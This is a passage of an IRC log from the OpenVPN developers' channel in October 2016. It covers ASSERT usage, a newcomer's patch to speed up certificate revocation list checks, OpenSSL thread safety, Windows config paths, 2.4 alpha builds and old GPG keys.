<@plaisthos> Please use formfeed characters (control-L) to divide the program into pages at logical places (but not within a function). It does not matter just how long the pages are, since they do not have to fit on a printed page. The formfeeds should appear alone on lines by themselves. 08:37 <@plaisthos> wtf! 08:37 < ordex> uhm ? 08:37 < ordex> formfeed ? 08:37 < ordex> do they print the code ? 08:37 < ordex> :D 08:37 < SviMik> cron2 I use Visual Studio :) but also the Notepad, when I need to change something really quickly, cause Visual Studio is loading like five seconds... even with SSD... 08:40 < ordex> about the ASSERT discussion...should every function have ASSERT based on assumptions on arguments ? 08:40 < ordex> because this means having an ASSERT basically everywhere 08:40 <@plaisthos> ordex: ASSERT stops the program 08:40 < ordex> plaisthos: yap 08:40 <@plaisthos> ordex: do that only for catastrophic things that would go haywire otherwise 08:40 < ordex> I see 08:41 <@plaisthos> or things that always be true 08:41 < ordex> othrwise, I should handle ? 08:41 < ordex> well 08:41 <@plaisthos> ASSERT(crlfile) 08:41 < ordex> I am doing that for pointers 08:41 < ordex> that I assume to be there when a function is invoked 08:41 < ordex> crlfile <-- I could still return 08:41 < ordex> instead of ASSERT 08:41 < ordex> and fail the check 08:41 < ordex> instead of halting the program 08:41 < ordex> no ? 08:42 <@plaisthos> can answer that in general 08:42 < ordex> yap 08:42 <@plaisthos> ordex: e.g. if loading a crl for a client fail it is better to just refuse that client instead of stopping openvpn 08:42 < ordex> ok, I'll se what I can do :) 08:42 < ordex> right 08:42 <@plaisthos> you don't want an ASSERT to become a DOS 08:42 < ordex> but this sounds like something you'd check "along the function" rather than upon invocation 08:42 < ordex> yeah 08:42 < ordex> I get the principle 08:43 <@dazo> ordex: to be honest, the code currently is a disaster when it comes to consistency in coding style (we plan to fix this before the final 2.4 release) ... so please try to adopt to the coding style used in the file and region you change 08:43 < ordex> okok, let's see what I come up with :) 08:43 < ordex> dazo: yup 08:43 < ordex> I am taking this as a learning process as well, this is why I am asking so many questions :) I want to grasp the overall feeling you guys have 08:43 <@plaisthos> but e.g. if the crypto library return NULL instead of decrypted data and you have no idea why that could happen or how to go on is a good ASSERT 08:43 < ordex> but thanks for the answers - I'll see what I can do and then move the discussion to the ml with a patch 08:44 <@dazo> oh our feelings are .... unpredictable! ;-) 08:44 < ordex> yup 08:44 < ordex> :D 09:31 <@cron2> SviMik: for quick editing, install vim :-) 09:32 <@cron2> dazo: nah, it's just... complicated :) 09:33 <@cron2> mattock's snapshot builder still tries to cd to "openvpn-2.3_git"... 09:35 < SviMik> well, I do use vim on linux machines. It's how I configure any server. 09:35 <@mattock> cron2: yeah, noticed that, will fix 09:36 < SviMik> but on my PC I use Windows, and vim on Windows is something... unnatural 09:47 < ordex> SviMik: Windows is unnatural :-P 09:47 < ordex> just kidding of course :) 09:49 < SviMik> well, that's just a habit. 09:49 < slypknot> SviMik: notepad++ ? 09:50 < SviMik> I've been always using windows on desktops, and linux on servers, so it's both pain for me to use linux on laptop, as well as setup server things on windows :) 09:51 < ordex> mh I have to say that I prefer the api doc coming from mbedtls 09:51 < ordex> compared to openssl 09:51 < SviMik> slypknot acceptable. though can't remember how it works with tab-space mixed code 09:52 <@cron2> SviMik: it works amazingly well (vim, that is) :) - I was too annoyed by notepad when trying to get a test rig on windows up and running, and vim feels *good* :-) 09:56 < SviMik> ordex when we tried to make a web proxy with openssl and multiple threads... on high load strange things appeared. then I understood *why* openvpn is single-threaded :) 09:56 < SviMik> (right now migrating to mbedtls) 09:57 < ordex> oh didn't know that 09:57 < ordex> so openssl is not really thread safe as of now ? 09:59 < SviMik> I can't claim that it's not our mistake, like if we forgot something, or something wasn't mentioned in openssl docs 09:59 < SviMik> but things are really strange and undebuggable. 09:59 < ordex> mh.. ok 10:02 < SviMik> like one user can receive a reply that was targeted to another user :) sounds totally impossible. and that never happens on http requests, only on https, where ssl library comes to work. 10:04 < SviMik> will try to switch to mbedtls, and if problem disappears - perhaps, I can blame openssl then 10:07 < slypknot> ordex: what do you mean by 'mh' ? 10:07 < ordex> it was my brain digesting the answer I got, why ? 10:07 < ordex> :D 10:08 < slypknot> i am wondering what you mean ? movable head, megahertz .. ? 10:09 < SviMik> megahertz is mhz 10:09 < ordex> :D 10:09 < SviMik> perhaps 'mh' is a variation of 'hm' 10:09 < ordex> probably 10:10 < SviMik> just in reverse order 10:10 < ordex> might depend on where you have read it for the first time :) 10:10 < ordex> sometimes different countries use different words to express noises - that's fun to compare 10:11 < slypknot> in other words, nothing .. in your case ? 10:11 < ordex> right, nothing :D 10:12 < slypknot> or 'mostly harmless' ;) 10:12 < ordex> http://www.urbandictionary.com/define.php?term=hm%20mh << you can also have a combination of the two ! 10:12 < ordex> :P 10:12 < ordex> http://www.urbandictionary.com/define.php?term=mh << here comes my case :D 10:12 <@plaisthos> ordex: thread safe openssl is probably more black magic than openssl programming as such 10:13 < ordex> LOL 10:13 < ordex> I see 10:13 < ordex> so openvpn multi-thread means only mbedtls ? 10:13 < SviMik> I guess 10:13 <@plaisthos> probabably something of "you have to ensure yourself that no ssl context (or parts of it) are used by multiple thread. We provide these undocumented call that can make copies of contexts" 10:14 < ordex> LOL 10:14 < ordex> :D 10:14 < ordex> okok 10:14 <@plaisthos> ordex: openvpn is not multi threaded 10:14 < ordex> this is beyond black magic 10:14 < ordex> plaisthos: I mean, for the future 10:14 < ordex> ovpn3 for example 10:14 <@plaisthos> ordex: I don't know the openssl multi thread stuff 10:14 < ordex> ok 10:14 <@plaisthos> how you have to handle it exactly 10:14 <@plaisthos> that was an educated guess :) 10:14 < ordex> :) 10:15 <@plaisthos> https://www.openssl.org/docs/man1.0.2/crypto/threads.html 10:15 <@vpnHelper> Title: /docs/man1.0.2/crypto/threads.html (at www.openssl.org) 10:16 <@plaisthos> easier than I thought 10:18 < ordex> mh 10:18 < ordex> does not sound so black magic 10:18 < ordex> at least at first impact 10:20 < SviMik> "when openvpn become multithreaded"... I remember that question from the ages when computers were invented... 10:25 <@syzzer> ordex: (just found some time to look at the IRC log) - I have code from a colleague who changed the CRL handling into the crypto lib, instead of in openvpn itself 10:25 <@syzzer> we haven't posted it to the ml yet, because I need to update and run our tests firsts... 10:26 < ordex> syzzer: what do you mean with "changed" ? 10:26 < ordex> changed similarly to what I am doing ? or just rearranged ? 10:26 <@syzzer> we now have function like crl_verify(), while the crypto libs can do that too 10:26 <@syzzer> s/changed/moved/ 10:27 <@syzzer> so this patch set just makes the crypto lib reponsible for CRL handling, instead of openvpn itself 10:27 < SviMik> syzzer what's the difference? i.e. why? 10:28 < ordex> syzzer: basically like mbedtls does ? 10:28 <@syzzer> because if the cyrpto lib has a good implementation, why would we maintain our own? 10:28 < ordex> because mbedtls has a function for this 10:28 < ordex> syzzer: actually I rearranged that part as well by storing everything in a sorted array so that we can later use binary search on it 10:29 < ordex> (only for openssl) 10:29 < ordex> but if openssl has its own call for that .. maybe we should use it 10:31 <@syzzer> in how much of a hurry are you? 10:31 <@syzzer> I'd have to dig up the code 10:32 < ordex> syzzer: I'd just like to get this done :) 10:32 < ordex> I could also dig into openssl to see what function to use 10:33 < ordex> what is the normal workflow here ? testing before posting on the ml ? or first posting, then testing and then acking ? 10:33 < ordex> just to understand what I have to do :) 10:33 < ordex> so far I am faighting with mbedtls, after that, I might be done 10:37 <@plaisthos> testing first is a good idea 10:38 <@plaisthos> I sometimes test my patches on my users :P 10:38 <@cron2> testing? what's that? 10:39 <@syzzer> ordex: well, testing before you send it to the ml probably saves you some iterations on the patch ;) 10:39 <@plaisthos> cron2: crowd testing is the new hype: uploading a new version to the store and wait if someone complains 10:39 < ordex> syzzer: yes sure :D I mean, I see that here you talk a lot about unit testing - is this supposed to happen before sending the patch to the ml ? 10:40 < ordex> or this is ran on some build host periodically ? 10:40 < ordex> plaisthos: love that ;D 10:40 <@syzzer> ordex: we want units tests, but we have almost none atm 10:40 <@cron2> plaisthos: that's the spirit :) 10:40 < ordex> syzzer: ah ok 10:40 <@syzzer> we do have a set of 'system tests', which are run 10:40 < ordex> then yeah, I general testing before sending is definitely a good idea :) 10:41 <@syzzer> but what I usually do too it manually testing the corner cases of what I just implemented 10:41 <@plaisthos> ordex: I test the patch myself first usually :0 10:41 < ordex> sure sure 10:41 < ordex> I do agree on all of this, I just thought there was something more 10:41 <@syzzer> unfortunately not :( 10:41 < ordex> but given what you said: [2321.21] <@syzzer> we haven't posted it to the ml yet, because I need to update and run our tests firsts... 10:42 < ordex> it sounded like there was a "process" 10:42 < ordex> this is why I Was asking 10:42 < ordex> but got thw point now :) 10:42 <@syzzer> yeah, those are our company-internal crypto verifiication tests for OpenVPN-NL 10:42 <@syzzer> ... which I cannot upstream because they need our proprietary test framework :( 10:42 <@plaisthos> ordex: My beta testers https://play.google.com/store/apps/details?id=de.blinkt.openvpn :) 10:43 <@syzzer> and since -NL only has 2.3 releases, I need to update the tests to work with 2.4 10:43 < ordex> :D 10:43 < ordex> what is OpenVPN-NL, if I can ask 10:43 < ordex> ? 10:43 <@syzzer> https://openvpn.fox-it.com/ 10:43 <@vpnHelper> Title: OpenVPN-NL (at openvpn.fox-it.com) 10:43 < ordex> thanks 10:44 <@syzzer> basically OpenVPN-with-mbed-tls-and-without-some-silly-features 10:44 <@syzzer> no option to disable crypto, for example 10:44 < ordex> oh a dutch thing, nice :) 10:44 < ordex> I see 10:44 <@syzzer> (or use anything but AES-256, actually) 10:45 < ordex> I see 10:45 < ordex> can it be described as a "fork" of openvpn? or maybe just a parallel project being openvpn+some-patches-on-top 10:45 < ordex> ? 10:45 <@syzzer> what's your background? are you doing this work for some company? 10:46 <@syzzer> yeah, a fork, but where we try to upstream as much as possible 10:46 < ordex> I see, cool 10:46 <@syzzer> the polarss/mbedtls support for example was added by us 10:46 < ordex> no I am not doing this for a company. actually I looked at the openvpn codebase for the first time 3 days ago 10:47 < ordex> I was involved in an hiring process of a VPN company, and because of this I got interested in looking into openvpn 10:47 <@syzzer> you just happen to have a huge CRL? :p 10:47 < ordex> this was a challenge (aka a real problem for them) that they asked me about during the interview 10:47 < ordex> so I thought it could be interesting to work on it and release it as GPL in the meanwhile :D 10:47 <@syzzer> ah, interesting 10:48 <@syzzer> "there, I fixed your problem" 10:48 <@syzzer> I like this style 10:48 < ordex> then I can walk away 10:48 < ordex> :D 10:48 < ordex> eheh 10:48 < ordex> I used to be a kernel developer, but I am not doing much for my ex-project since a few weeks..so I thought this could be an idea to get involved in something new 10:49 < ordex> it'a always fun to do open source development :) 10:49 < ordex> and when it's about networking/encryption/chachacha it's even more fun 10:50 <@syzzer> yes, that's what I discovered when my current employer tasked me with OpenVPN-NL - I now spend more off-time on openvpn than company time :p 10:50 < ordex> :D 10:50 < ordex> syzzer: may I ask where you are based ? 10:50 < ordex> I lived in the NL in the past and it is funny how I always hit people/companies from there :D 10:50 <@syzzer> Delft 10:50 < ordex> ah nice :) 10:50 <@plaisthos> Dutch OpenVPN might give a hint :p 10:51 < ordex> :D 10:51 <@syzzer> heh, but I have to leave time - time for food en sports :) 10:51 < ordex> smakelijk :D 11:51 <@dazo> ordex: SviMik: OpenSSL thread-safe, and many do just that (like Apache httpd) ... but there are a lot of traps and you need to beware of those to stay clear of trouble. It's way too long since I looked at that for real, but I remember there were some calls you need to do before starting new threads - as well cleaning them up as well ... and there are some functions you need to be more careful with 11:52 <@dazo> (it's all quite well documented in the man pages ... and the "Network security with OpenSSL" (O'Reilly book) 12:00 < ordex> thanks dazo 12:04 < ordex> do we have one struct context *c per connecting client ? 12:04 < ordex> I thought c->c1 was unique instance wide 12:06 < ordex> apparently it is not mmh .. 12:33 < ordex> so everytime there is a connection, the context gets duplicated 12:33 < ordex> and this the dup has to be done "manually" 12:33 < ordex> in inherit_context_child() 12:33 < ordex> but if I just copy the pointer of my object over...it gets free'd twice 12:33 < ordex> if I dup my object..this just occupies a huge amount of memory without being useful 12:34 < ordex> mh --- Log closed Tue Oct 18 12:37:34 2016 --- Log opened Tue Oct 18 14:13:17 2016 14:13 -!- Irssi: #openvpn-devel: Total of 25 nicks [7 ops, 0 halfops, 1 voices, 17 normal] 14:13 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 14:13 -!- Irssi: Join to #openvpn-devel was synced in 14 secs 15:50 <@cron2> oh the BSDs.. 15:51 <@cron2> NetBSD 7.0.1 "route get" does not use routing sockets anymore to receive route info, but a new syscall... (truss tells me)... need to read sources tomorrow... but this explains why "--show-gateway" is failing. All of a sudden. 17:13 < slypknot> talk of this today: 17:13 < slypknot> ntlm.c:316:44: warning: passing 'char *' to parameter of type 'unsigned char *' converts between pointers to integer types with 17:13 < slypknot> different sign [-Wpointer-sign] 17:13 < slypknot> cipher_des_encrypt_ecb (key3, challenge, &ntlm_response[DES_KEY_LENGTH*2]); 17:13 < slypknot> ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 17:14 < Thermi> Fixitfixitfixit 17:14 < SviMik> (unsigned char *) key3 17:15 < Thermi> Fix ALL the warnings 17:15 < SviMik> problem solved :) 17:15 < Thermi> >:( 17:15 < Thermi> http://i2.kym-cdn.com/photos/images/facebook/000/855/340/23b.jpg 17:17 < SviMik> https://www.youtube.com/watch?v=Bumx4AerJUQ 17:18 < slypknot> root@fbsd-hyv-live-64:/usr/home/dik/openvpn/master # src/openvpn/openvpn --version 17:18 < slypknot> OpenVPN 2.4_alpha1 [git:master/a6479b4814d38d30] amd64-unknown-freebsd11.0 [SSL (OpenSSL)] [MH/RECVDA] [IPv6] built on Oct 18 2016 17:19 < slypknot> library versions: OpenSSL 1.0.2j-freebsd 26 Sep 2016 17:19 < slypknot> Originally developed by James Yonan 17:19 < slypknot> Copyright (C) 2002-2010 OpenVPN Technologies, Inc. <sales@openvpn.net> 17:19 < slypknot> Compile time defines: enable_async_push=no enable_comp_stub=no enable_crypto=yes enable_crypto_ofb_cfb=yes enable_debug=yes enable_def_auth=yes enable_dlopen=unknown enable_dlopen_self=unknown enable_dlopen_self_static=unknown enable_fast_install=needless enable_fragment=yes enable_iproute2=no enable_libtool_lock=yes enable_lz4=no enable_lzo=no enable_management=yes enable_multi=yes 17:19 < slypknot> enable_multihome=yes enable_pam_dlopen=no enable_pedantic=no enable_pf=yes enable_pkcs11=no enable_plugin_auth_pam=yes enable_plugin_down_root=yes enable_plugins=yes enable_port_share=yes enable_selinux=no enable_server=yes enable_shared=yes enable_shared_with_static_runtimes=no enable_small=no enable_static=yes enable_strict=no enable_strict_options=no enable_systemd=no enable_werror=no 17:19 < slypknot> enable_win32_dll=yes enable_x509_alt_username=no with_aix_soname=aix with_crypto_library=openssl with_gnu_ld=yes with_mem_check=no with_plugindir='$(libdir)/openvpn/plugins' with_sysroot=no 17:19 < slypknot> last one 17:19 < SviMik> tl;dr 17:19 < slypknot> basically no lzX 17:20 < slypknot> lzo or lz4 17:22 < SviMik> then enable it! 17:24 < slypknot> can't 17:26 < SviMik> why not? 17:26 < SviMik> yum -y install lzo-devel 17:26 < SviMik> :) 17:34 < slypknot> no maintainer .. 20:53 < ordex> hello :) --- Day changed Wed Oct 19 2016 01:29 < dasti> for a problem on the website, is it the correct channel to talk about it ? 01:34 < ordex> cron2: plaisthos: syzzer: I sent my patchset out in the wile (the crl-persist thing). I hope somebody will have time to give it a look :) 01:34 < ordex> *wild 01:39 < ordex> mh they have not landed on the ml yet 01:42 < dasti> strange, I get a "404 not found" error when I try to download the community release of openvpn windows client but it's not the same file if I try to download from different countries 01:43 < ordex> dasti: these days they were releasing 2.4 - maybe there was some hitchup 01:47 < ordex> 2.4-alpha1* 02:18 <@syzzer> dasti: this has happended before, had something to do with load balancing and some servers not working, iirc. Usually poking mattock resolves this issue. 02:18 <@syzzer> mattock: *poke* 02:18 <@syzzer> ordex: cool, I will definitely take a look - can't promise you when :( 02:19 < dasti> syzzer: yes it look like a typical load balancing problem :) 02:19 < ordex> syzzer: np :) it's my first contribution, so I can imagine it may take longer than usual 04:18 <@mattock> here's a pull request to openvpn-build for the new INSTALL-win32.txt: https://github.com/OpenVPN/openvpn-build/pull/35 04:18 <@vpnHelper> Title: Migrate INSTALL-win32.txt from the OpenVPN project and modernize it. by mattock · Pull Request #35 · OpenVPN/openvpn-build · GitHub (at github.com) 04:18 <@mattock> so the INSTALL-win32.txt in openvpn will just be ignored for the purposes of openvpn-2.4_alpha1 release 04:18 <@mattock> I'll provide a patch to remove it from openvpn later today 04:19 <@mattock> could somebody proof-read the new INSTALL-win32.txt in the PR? 04:19 <@mattock> I'll run my test suite against the final openvpn-2.4_alpha1 installers after lunch, and after that I can make the release 04:29 <@plaisthos> btw. why are we using %USERPROFILE%\OpenVPN\config instead of %APPDATA%\openvpn\config 05:49 <@dazo> plaisthos: might be old cruft from the windows9x days 05:51 <@plaisthos> dazo: it is a new feature from Selva a few months ago 05:59 <@dazo> ahh, okay 06:10 <@plaisthos> dazo: we have bit of discussion here: https://github.com/OpenVPN/openvpn-build/pull/35 06:10 <@vpnHelper> Title: Migrate INSTALL-win32.txt from the OpenVPN project and modernize it. by mattock · Pull Request #35 · OpenVPN/openvpn-build · GitHub (at github.com) 06:15 <@mattock> it seems I managed to test an obsolete version of openvpn-gui-11.tar.gz, which behaved differently from the latest one 06:16 <@mattock> I'll do a bit more testing so that I can modify INSTALL-win32.txt based on current behavior of openvpn-gui 06:57 <@mattock> I finally remembered how the "OpenVPN Administrators" group thing works 06:58 <@mattock> if the interactive service is running, anyone can launch openvpn connections from files in the global config directory 06:58 <@mattock> users in the "OpenVPN Administrators" group can also launch connections from .ovpn files in their own home directory 07:03 <@plaisthos> is the installing users or anyone a default member of that group? 07:03 <@plaisthos> or all in Administrators? 07:31 <@mattock> nobody is a member in "OpenVPN Administrators" 07:31 <@mattock> by default 07:31 <@mattock> I believe users in the built-in administrator group can add config files to %USERPROFILE%\openvpn\config, but I'll check 07:31 <@mattock> that also should be clarified 07:38 <@dazo> ordex: thx for your patches .... I have not gone into any details, but it sounds reasonable on very large CRL files ... and the quality of your patches are very good to be a fresh newcomer, so big thanks for the efforts here! 07:39 < ordex> dazo: thakn you for taking some time to have a look ! 07:39 <@dazo> ordex: just a question ... do you reuse any of the existing CRL checking logic? (as I said, I didn't look too carefully at this) 07:39 < ordex> dazo: for the mbedtls: yes - I basically moved some code in an helper function and re-used it 07:40 < ordex> for openssl: not really, because I implemented a new (small) data structure with its own logic 07:41 <@dazo> ordex: okay ... I think it would be preferable, if doable, to reuse the current CRL implementation (as that's very well tested) .... and instead of having a temporary CRL buffer, make that available in one of the context structs .... and then your --crl-persist option tells this existing logic if it should reload the CRL in memory or not 07:42 <@dazo> which means the x509_verify_crl_mem() function would not be needed, as it would implicit be in the default CRL checking instead 07:42 <@dazo> does this make sense? 07:42 < ordex> dazo: yeah I understand. the problem with the current implementation is that its complexity it's linear with the length of the CRL 07:42 < ordex> with the new logic it becomes log n 07:42 < ordex> way faster on a long list 07:42 < ordex> no? 07:43 < ordex> because I store the list in a buffer and I sort it. later I do a bsearch 07:43 <@dazo> you might be right on that complexity 07:43 <@dazo> ahh! 07:43 < ordex> maybe this should be yet another patch to be tested apart ? 07:44 < ordex> aah? :D 07:44 <@dazo> I'm just concerned about code duplication ... it would be good to avoid having very similar functions doing the same thing with just a "minor" variation 07:44 <@dazo> I'd rather see existing code being improved then, if it is too slow 07:45 <@dazo> (ahh .... that was to the buffer sort + bsearch) 07:45 <@mattock> plaisthos: indeed, user will be able to use configs from %USERPROFILE% if he/she is either in the built-in administrators group, or if he/she is in the "OpenVPN Administrators" group 07:45 < ordex> dazo: yup, I totally agree with you 07:46 < ordex> I am just thinking what steps are required to move from the current code to the one "improved" one 07:46 < ordex> for sure I could get rid of my logic and re-use the one currently existing (and avoid code duplication) 07:46 <@dazo> ordex: don't take my input too heavily right now .... syzzer is our crypto geek and he understands most of these code paths better than most of us (at least we claim so! ;-)) ... so I'd weight his feedback much more 07:47 < ordex> sure :) let's wait some more then..and then we put everything together in a big blender 07:47 < ordex> :D 07:47 < ordex> and see what I get out 07:47 < ordex> eheh 07:47 <@dazo> those steps moving forward is probably best coordinated with syzzer :) 07:47 < ordex> oky :) 07:47 < ordex> thank you very much for this early feedback 07:47 <@dazo> you're welcome! 07:49 < slypknot> I just built and started 2.4_alpha1 on arch.64/centos7.64/debian8.64(x2)/fedora24.64/gentoo.64/suse42.64/ubuntu16.64 - with no errors so far :D 07:49 * dazo should upgrade one of his boxes running an older git master :) 07:50 < slypknot> now i just gotta get my head around a bit of FreeBSD .. 07:53 < slypknot> they are all connecting to Win10.server-ifconfig-after-tun and linux.server.2.3_git (to be upgraded soon) 07:56 < slypknot> and all connected to my irc server over an internet link 07:58 < slypknot> as in a real vpn not virtual or local 08:05 < ordex> dazo: in general there is a place where I can see planned features that are not yet assigned ? maybe I can have a look if there is something inspiring for the future .. or free time 08:05 < ordex> *is there 08:09 <@syzzer> ordex: have you looked at how OpenSSL checks CRLs internally/ 08:10 < ordex> syzzer: nope - I left that to your colleague's patch 08:10 < ordex> I did not want to intefere with his work 08:10 < ordex> his *patch 08:10 <@syzzer> ah, ok, me neither, I was qurious whether your approach would be more efficient than theirs 08:10 < ordex> ah no clue 08:11 <@syzzer> *curious 08:11 < ordex> I hope they implemented something "smart" 08:11 < ordex> :D 08:11 < ordex> we can definitely test that 08:11 <@syzzer> I hope they didn't implement something "clever" ;) 08:11 < ordex> eheh 08:12 <@mattock> fyi: possibility for bikeshedding has opened up on openvpn-devel 08:13 <@mattock> courtesy of plaisthos and me :) 08:13 * syzzer starts hitting his F5 button 08:13 < ordex> uhm 08:16 * cron2 wants his bike in a light green 08:16 <@syzzer> mattock: this is too complicated for bike shedding for me - I would have to know what these user-creatures are like... 08:17 <@mattock> syzzer: quite clueless in general? 08:17 <@mattock> :P 08:17 <@syzzer> ah, in that case, hide everything for them and make it work like magic! 08:18 <@plaisthos> cron2: the question is should the bikeshed be inside or outside your garden! 08:19 <@mattock> or in the public garden, or the exclusive private garden 08:19 <@cron2> get off my lawn, kids! 08:19 <@plaisthos> no the public garden has its own bikeshed 08:19 <@plaisthos> common to all users 08:20 <@cron2> mattock: well, both gardens, of course, but only the nice guys get a private garden :) 08:20 <@cron2> the question is more of "is the garden in front or around the house" 08:20 <@mattock> and then there's the exclusive garden for UNIX guys 08:21 <@mattock> hidden in a cellar 08:21 < danhunsaker> My UNIX garden is on the roof. 08:21 <@mattock> oh 08:21 < danhunsaker> No bikeshed there, though. 08:22 <@mattock> so you went to build a shed and the end result was a garden on a roof? 08:22 <@mattock> a fair trade I'd say 08:23 < danhunsaker> Heh, nah. We've moved beyond bikes. We use quadrocopters to get around. 08:23 < danhunsaker> So it's a drone shed. 08:23 <@plaisthos> danhunsaker: no you have a spare part storage 08:23 < danhunsaker> In practice, yes. 08:23 <@plaisthos> und when want to go somewhere you frankenstein a bike on the way there 08:24 < danhunsaker> Well, I suppose if I was forced to use ground transport... Yeah, I probably would. 08:25 < danhunsaker> Windows zones tend to have airspace restrictions. Flight isn't exactly supported... 08:25 < danhunsaker> And their rental bikes are absolute shit. 08:28 <@plaisthos> but least your 20 year bike will still work in their bikesheds 08:29 < ordex> did this really start with a discussion about the windows configuration file? 08:29 < ordex> :D::DD 08:29 < ordex> :D 08:33 <@mattock> ordex: yes 08:33 < ordex> :D 08:36 < danhunsaker> How appropriate. 08:38 <@dazo> ordex: we do have a too long list of trac tickets ... so if you have some spare time to look at some of those open ones, that'd be appreciated! 08:38 < ordex> argggh the buuugs :) 08:38 < ordex> ok will have a look. thanks ! 08:38 <@dazo> hehehe :) 08:39 <@syzzer> heh, yeah. Bugs are less fun, but might be more important than new features... 08:39 * danhunsaker prefers shooting bugs to fixing them. 08:39 <@dazo> there are some new features listed there as well, but I'd recommend bringing them up for a discussion either here on a dev meeting we have on #openvpn-meeting on a somewhat unpredictable semi-regular schedule 08:39 <@plaisthos> and some of trac tickets might even be solved or not applicable anymore 08:39 <@plaisthos> beware of that when starting something 08:39 <@dazo> yeah 08:40 <@dazo> good point! 08:40 <@plaisthos> or are ignored because they are stupid 08:40 <@plaisthos> (dazo formulated that more political) 08:41 <@dazo> oh dear .... I need to find back to my BOFH roots, so I'll escape the "political correctness" label 08:43 < ordex> :D 08:43 < ordex> thanks for all the hints 08:43 < ordex> I'll try digging a bit into trac then 08:44 < ordex> is Gert here on IRC ? 08:44 < ordex> not sure why, but I can't find his public key on the key server 08:45 <@dazo> ordex: that's cron2 08:45 < ordex> oh ok, cron2 ^^^ 08:46 <@dazo> ordex: 0xA92E06E365514975 08:46 <@dazo> unless he got a newer one 08:46 < ordex> yeah, trying to import it, but for some reason my gpg does not like it 08:46 < ordex> this is the one I am supposed to use to verify his signature, but can't download it 08:46 < ordex> uhm 08:46 < ordex> will change keyserver 08:47 <@dazo> https://paste.fedoraproject.org/455602/47688458/raw/ 08:48 < ordex> I get the same output as when i try to download it from the key server: 08:48 < ordex> gpg: Total number processed: 1 08:48 < ordex> gpg: skipped PGP-2 keys: 1 08:48 < ordex> I have the feeling this has something to do with my new gpg 08:50 < ordex> mah..anyway .. will live anyway :) 08:54 < danhunsaker> Mmmm... Skipped usually means you already have it. 08:55 < danhunsaker> Though in this case it might be that you need a newer version of GPG.... 08:56 < ordex> mh newer than 1.5.5 ? my gentoo says this is the stable .. 08:56 < ordex> I could try going for 1.7 08:56 < ordex> but sounds weird 08:57 < ordex> dazo's key was easy to import, as usual 08:57 < ordex> $ gpg -k gert@muc.de 08:57 < ordex> gpg: error reading key: No public key 08:57 < ordex> weird 09:00 < danhunsaker> I've not seen PGP-2 mentioned before is all. 09:01 < danhunsaker> Gentoo does tend to be more bleeding-edge version-wise than most other distros. 09:01 < danhunsaker> Though I'm just the right flavor of nuts to globally unmask stuff. 09:06 <@cron2> ordex: the key is getting a bit old in the tooth, so if your GPG is too new, maybe it's refusing key lenght or whatnot 09:09 < ordex> might be 09:09 < ordex> I see it's quite short :P 09:10 < danhunsaker> Ah. The *opposite* problem from what I'd guessed. 09:10 < ordex> 1024 bit RSA 09:12 < danhunsaker> .... That is short. cron2, you should feel bad. 09:16 <@plaisthos> I still have a 1024 bit DSA key :P 09:17 < danhunsaker> plaisthos: You should feel worse. 09:18 < ordex> :D 09:19 < ordex> but cron2's key is from '95...respect :D 09:20 < danhunsaker> Heh. Early adopter. I didn't even have a computer yet. Never mind knowing how to use it. 09:21 < danhunsaker> Rather expect neither cron2 nor plaisthos could actually use Keybase.io with their current keys... 09:22 < ordex> is keybase really useful ? 09:27 <@plaisthos> danhunsaker: to my defense I used default settings to generate that key 09:27 <@plaisthos> complete with elgamal subkey! 09:27 < danhunsaker> plaisthos: Yes, but how long ago? 09:27 <@plaisthos> 2002-03-09 09:27 <@plaisthos> apparently :) 09:29 < danhunsaker> ordex: Depends. It's a supplemental trust model for PGP, as well as a way to use PGP to verify ownership of other online presences. If that's useful to you, then yes. 09:30 < danhunsaker> plaisthos: Yeah, plenty long enough to generate a new one, sign it with the old, and migrate over. 09:31 * cron2 takes note of keybase.io and will play with it later 09:32 < danhunsaker> dazo and I both have invites, if you wanna skip the waiting lines. 09:33 <@plaisthos> danhunsaker: I don't actively use pgp anymore in email 09:33 <@plaisthos> so I did not feel the need to 09:34 < danhunsaker> Email is no longer the primary use for PGP, but fair enough. 10:28 < ordex> mattock: are you finnish with a tendency for italian? :D 10:31 <@syzzer> ordex: the binary search is clever - just looked into what the crypto libs do themselves 10:31 <@syzzer> OpenSSL actually does a binary search, mbed TLS just iterates through the (unsorted) list 10:32 < ordex> syzzer: thanks for looking into that 10:32 < ordex> so openssl is clever enough too :) 10:32 < ordex> then, maybe we first switch to the openssl internal datastructure, then we make the code general and then we reuse it for crl-persist ? 10:32 <@syzzer> so at least at first sight, I still think it's better to move the CRL handling into the crypto libs 10:32 < ordex> yap 10:33 <@dazo> that probably means that the OpenSSL developers have seen such large CRLs, while mbedTLS have not :-P 10:33 < ordex> :D 10:33 <@syzzer> yeah, though the mbed TLS code looks easy enough to improve here 10:33 <@syzzer> I'm sure they'd appreciate a patch 10:33 <@dazo> absolutely! 10:33 < ordex> syzzer: are you trying to suggest something? :D 10:34 <@syzzer> hehe, I'm not trying... ;) 10:34 < ordex> :D 10:34 < ordex> syzzer: at this point, should I wait for your colleague's patch first and then rebase on top of that ? 10:34 <@syzzer> ordex: yes, I think so 10:34 < ordex> ok 10:34 < ordex> can wait then :) 10:34 <@syzzer> I've just got our internel tests running (and succeeding) again 10:34 <@dazo> syzzer: what kind of rework is in the pipe? 10:34 < ordex> somebody will say that on the ml ? or there is no need ? 10:35 <@syzzer> I'll reply on the ml 10:35 <@syzzer> and that will probably be the cue to decide what we want: remove the CRL parsing from our code, or keep it and use your improvements 10:36 <@syzzer> once we know that, we can continue with making the CRL reloading code in OpenVPN more clever 10:36 <@syzzer> reloading will always stay OpenVPN's responsibility, I think 10:36 < ordex> yap, think so too 10:37 <@syzzer> jftr, it might very well be that the community likes your plan better than mine. we should just discuss it. 10:38 <@syzzer> either way - your contribution is already appreciated :) 10:38 < ordex> well, if openssl is somewhat similar to my code, I think we should just go for openssl and avoid code duplication 10:38 < ordex> cool! :) 10:39 < ordex> I mean: *openssl's approach 10:41 <@syzzer> dazo: for the context, I've asked a colleague to create a patch to let openvpn use the crypto library's CRL handling, instead of our own implementation 10:41 <@syzzer> "less code of our own, less bugs of our own" ;) 10:41 <@dazo> ahh! 10:41 <@dazo> yes, that makes sense! 10:58 < danhunsaker> Make upstream libs do their own jobs, rather than doing it for them? What madness is this? 10:59 <@dazo> danhunsaker: the lazy one! 11:00 < danhunsaker> :-D 11:00 < ordex> :D 11:02 < ordex> syzzer: I guess X509_CRL_get0_by_cert() is the function starting the binary search? (just reading the man now) 11:15 < ordex> wow..never went down so many layers of function definitions :D 11:15 < ordex> I finally landed at internal_find() and yeah, I saw the bsearch() with my eyes :) 11:18 < 